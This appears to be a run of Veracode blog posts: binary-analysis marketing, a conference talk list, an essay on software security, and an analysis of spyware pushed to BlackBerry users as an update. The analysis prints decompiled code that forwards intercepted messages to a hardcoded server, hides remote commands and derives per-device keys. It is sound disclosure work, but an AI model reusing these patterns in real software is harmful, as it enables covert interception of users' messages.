If the software you are concerned about is written in a language such as C or C++, and then compiled to form an executable binary, as the majority of commercial software is, you will need true binary analysis. The analysis technology provided by Ounce Labs and Fortify Software isn’t capable of understanding this native compiled code. The other situation where you will need binary analysis is when you have access to some of the source but other parts of your software are in binary form. This is common because most C/C++ programs, written by enterprises and software vendors alike, are partially built with compiled libraries that are distributed in binary form. If you are only looking at the source-available subset of the software you are not covering 100% of the code. You will also need binary analysis, and not just bytecode analysis, if your Java code uses JNI or your .NET assemblies call into non-managed code.

Even within the set of bytecode analysis techniques available today there are significant differences in technology. At Veracode, we generate our software analysis model directly from the bytecode with no lossy intermediate step back to source code. Source code static analysis tool companies have taken an indirect route to analysis. The tools first use a bytecode decompiler to create source code from the bytecode. Then the tools build an analysis model from the source code. This means that any code generation decisions made by the compiler, which are in the executing software, will be missing from this model. I would say this isn’t really even bytecode analysis at all. It is decompiled bytecode source analysis.

Bytecode analysis and binary analysis are important technologies for assuring the integrity of the software supply chain. These techniques are a powerful addition to first generation static analysis where source was required. Make sure you are getting the capabilities of true binary analysis and direct bytecode analysis to protect your organization from application security risk.

Veracode Security Solutions

Security Alternatives

Security Threat Guides

Day 1

• John McDonald & Chris Valasek: Practical Windows XP/2003 Heap Exploitation
• Andrea Barisani & Daniele Bianco: Sniff keystrokes with Lasers /Voltmeters
• Mark Dowd, Ryan Smith & David Dewey: The Language of Trust
• Thomas Ptacek, David Goldsmith & Jeremy Rauch: Hacking Capitalism ’09
• Pwnie Awards

Day 2

• Zane Lackey & Luis Miras: Attacking SMS
• Jeremiah Grossman & Trey Ford: Mo’ Money Mo’ Problems
• Joe Grand, Jacob Appelbaum & Chris Tarnovsky: “Smart” Parking Meter Implementations, Globalism, and You
• Jesse Burns: Exploratory Android Surgery
• Vincenzo Iozzo & Charlie Miller: Post Exploitation Bliss – Loading Meterpreter on a Factory iPhone

Chris Wysopal, Tyler Shields, and I will all be around next week so if you’re interested in learning more about Veracode or just catching up in the hallway track, shoot over an email or a tweet.

In the comments: Which talks are you excited about?

Veracode Security Guides

Data Security Resources

Watch the webinar:

Veracode Security Solutions

Security Alternatives

Security Threat Guides

We’re not sure why the software was delivered in both .jar and .cod form. The .cod file is a RIM proprietary format that contains the compiled Java classes along with a signature. Therefore it’s not even necessary to send the .jar, but they did, completely unobfuscated. Arrogance or incompetence? Here’s what’s inside:

$ jar tvf Registration.jar
     0 Sat Jul 04 18:52:00 EDT 2009 META-INF/
   447 Sat Jul 04 18:52:00 EDT 2009 META-INF/MANIFEST.MF
 18732 Sat Jul 04 18:52:00 EDT 2009 Registration.cod
    91 Sat Jul 04 18:52:00 EDT 2009 Registration.csl
   183 Sat Jul 04 18:52:00 EDT 2009 Registration.cso
     0 Sat Jul 04 18:52:00 EDT 2009 com/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/
 10857 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Commands.class
  2388 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Constants.class
  1056 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Log.class
   935 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main$1.class
  3479 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main.class
  4137 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/MsgOut.class
  5975 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Recv.class
 16133 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Send.class
  2988 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/StatusChange.class
  6462 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Transmit.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/
  3465 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/HTTPDeliver.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/
  7370 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTP.class
  3285 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTPHeader.class
  3871 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/SocketBase.class
  1273 Sat Jul 04 18:52:00 EDT 2009 Interceptor.class

These classes implement the various hooks:

• The Recv class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.event.StoreListener, allowing it to hook folder and message store updates. It’s installed using addFolderListener().
• The Send class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.SendListener, allowing it to hook folder updates and outbound messages. It’s not installed as a listener via addSendListener(), though it’s used explicitly to forward messages later on.
• The StatusChange class implements net.rim.device.api.system.RadioStatusListener and net.rim.device.api.system.GlobalEventListener, allowing it to hook radio events such as a change of network. It’s installed using addRadioListener() and addGlobalEventListener(), and all it really does is remove and re-register the Recv listener when certain network events occur.

Whenever a message is received on the device, the Recv class first inspects it to determine if it contains an embedded command — more on this later. If not, it UTF-8 encodes the message, GZIPs it, AES encrypts it using a static key (“EtisalatIsAProviderForBlackBerry”), and Base64 encodes the result. It then adds this bundle to a transmit queue. The main app polls this queue every five seconds using a Timer, and when there are items in the queue to transmit, it calls this function to forward the message to a hardcoded server via HTTP (see below). The call to http.sendData() simply constructs the POST request and sends it over the wire with the proper headers.

private boolean queueHTTP(boolean is_registration)
{
  boolean result = false;
  StringBuffer url = new StringBuffer();
  StringBuffer buf = new StringBuffer();
  url.setLength(0);
  url.append("http://10.116.3.99:7095/bbupgr");
  if(is_registration)
    url.append("/register");
  else
    url.append("/store");
  buf.setLength(0);
  buf.append("");
  if(is_registration)
    buf.append("regbb@etisalat.ae");
  else
    buf.append("etisalat_upgr@etisalat.ae");
  buf.append("");
  buf.append("\r\n");
  buf.append("");
  buf.append(subj);
  buf.append("");
  buf.append("\r\n");
  buf.append("");
  buf.append(body);
  buf.append("");
  String final_buf = encodeMsg(buf.toString(), true);
  for(int i = 0; i < max_tries; i++)
  {
    HTTPDeliver http = new HTTPDeliver(log);
    result = http.sendData(url.toString(), final_buf, true);
    if(!is_registration);
    if(result)
      return result;
    try
    {
      Thread.sleep(30000L);
    }
    catch(InterruptedException iex) { }
  }

  return result;
}

Let's get back to that part about embedded commands. The first thing that the Recv class does is check to see if there's an embedded command in the received message. The first check is actually inactive due to a conditional that will always evaluate to false. If I had to guess I would say that conditional was originally used to check the origin of the message against two BlackBerry device PINs -- that's a guess based on the fact that the strings look similar to the device PIN format. If this code path were enabled, any message with a subject containing "cmd_mail" would be passed off to a command handling routine. If the subject also contained "XXX", it meant the body was encrypted.

if("206789ea".length() < 1 && "205b04e4".length() < 1)
{
  if(subject != null && subject.indexOf("cmd_mail") != -1)
  {
    String body = msg.getBodyText();
    if(body != null)
      if(subject.indexOf("XXX") != -1)
        cmds.encryptedCmd(log, sender, body);
      else
        cmds.interpCmdBuffer(log, sender, body);
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    return;
  }
}

Since that section will never run, we move on to the else clause. Here, we see that if the sender name and address match "Customer Service" and the message was PIN-based (as opposed to email based) the body of the message will be treated as an encrypted command packet and the message will be instantly discarded. It's unclear if it will momentarily appear in the user's Inbox, but even if it does, it won't be there for long.

else
{
  String fpin = null;
  String fnam = null;
  try
  {
    Address from = msg.getFrom();
    if(from != null)
    {
      fpin = from.getAddr();
      fnam = from.getName();
    }
  }
  catch(Exception e) { }
  if(fpin != null && fnam != null && fpin.equalsIgnoreCase("Customer Service") && fnam.equalsIgnoreCase("Customer Service") && cmds.msgIsPIN(msg))
  {
    String body = msg.getBodyText();
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    if(body != null)
      cmds.encryptedCmd(log, sender, body);
    return;
  }
}

The encryptedCmd() function parses the body of the command packet by extracting anything that looks like a PGP signature block, that is, the chunk of text delimited by the strings "-----BEGIN PGP SIGNATURE-----" and "-----END PGP SIGNATURE-----". It then Base64 decodes the body and AES decrypts it using an AES key based on the device PIN. It then parses the command packet, which is an XML-like structure. It doesn't seem to execute arbitrary commands, just packages up device information such as IMEI, IMSI, phone number, etc. and sends it back to the central server, the same way it does for received messages. It also provides a way to remotely enable/disable the spyware itself using the commands "start" and "stop". Just for fun, here's the key generation routine used to encrypt these command packets to a specific device. The keyString variable is the hex-encoded form of whatever is returned by the RIM API call DeviceInfo.getDeviceId():

public static byte[] generateKey(String keyString, int keylen)
{
  byte buf[] = new byte[keylen];
  Arrays.fill(buf, (byte)0);
  byte key[] = keyString.getBytes();
  int srcbytes = key.length;
  int n = srcbytes;
  if(n < keylen)
    n = keylen;
  int keyoffset = 0;
  int i = 0;
  int j = 0;
  for(; i < n; i++)
  {
    int pos = i % srcbytes;
    buf[j++] ^= key[pos] + keyoffset;
    if(pos == srcbytes - 1)
      keyoffset += 23;
    if(j % keylen == 0)
      j = 0;
  }

  return buf;
}

The most alarming part about this whole situation is that people only noticed the malware because it was draining their batteries. The server receiving the initial registration packets (i.e. "Here I am, software is installed!") got overloaded. Devices kept trying to connect every five seconds to empty the outbound message queue, thereby causing a battery drain. Some people were reporting on official BlackBerry forums that their batteries were being depleted from full charge in as little as half an hour.

The final thing to mention is that the spyware does appear to be installed in a non-running state by default, where it's not actually exfiltrating data once the initial registration packet has gone out. However, using the command and control mechanism we described earlier, the carrier can remotely start/stop the service at will on a per-device basis.

Veracode Security Solutions

Veracode Security Threat Guides

It is time to stop thinking about computer security as a castle wall and moat problem and to start looking at it as an ecosystem problem. We can’t secure our networks or those of our allies by building bigger walls any more than the President of the United States can keep our air clean for government workers by enacting tougher emmision standards for US government vehicles. It is a global problem that requires a global solution.

There has been no global cooperation to date to help the average computer user keep his or her computer secure. Yet we talk about keeping car emmisions down. But the effect of both is similar. In a shared environment, be it the water and air or an information infrastructure. Each individual user contributes to the health of the system.

Each insecure computer is much like a polluting car. By itself there is little risk of harm. But when the software on that computer is compromised and taken together with all the other computers with that software, the risk builds up until it reaches a critical mass. We see that critical mass when groups, nation state sponsored or simply criminal, are able to destroy network connectivity for their targets using these compromised computers

Make no mistake. The root cause of these denial of service attacks is insecure software. It might be an operating sytem vulnerability or a vulnerability in a media player, web browser, or the latest cool social networking widget. These vulnerabilities let the attackers chip away one by one at the internet ecosystem like cancer cells. At some point the malignacy is great enough that it can destroy a high value target.

The only solution is to protect those individual cells from becoming malignant. Each and every computer system, and each and every software package running on them must be made secure. There is no easy fix. This is a hard problem. I have been studying it for 15 years since I was a researcher at a group called the L0pht which testified before the US Senate in 1998 that we knew how to take down the internet in 30 minutes. I wish this was an easy problem to solve, but it is not. It will only get worse as more computers are connected to the internet and we rely on the internet to be a safe place to exchange information and conduct business.

The solution is to make sure every piece of software we run is secure. It is much like the environmental problem were every car or every factory must meet an emissions standard. It can’t just be the cars driven by wealthy people or the factories making one type of product. It must be all. Until we start to think of the computer security problem as a global ecosystem problem with the root cause individual computers running everyday software, we are destined to fail.

The solution is to test all software before we run it. It can’t be a crapshoot whether something is going to cause harm if it is running on a million computers. We need to know.

Veracode Security Solutions

Security Threat Guides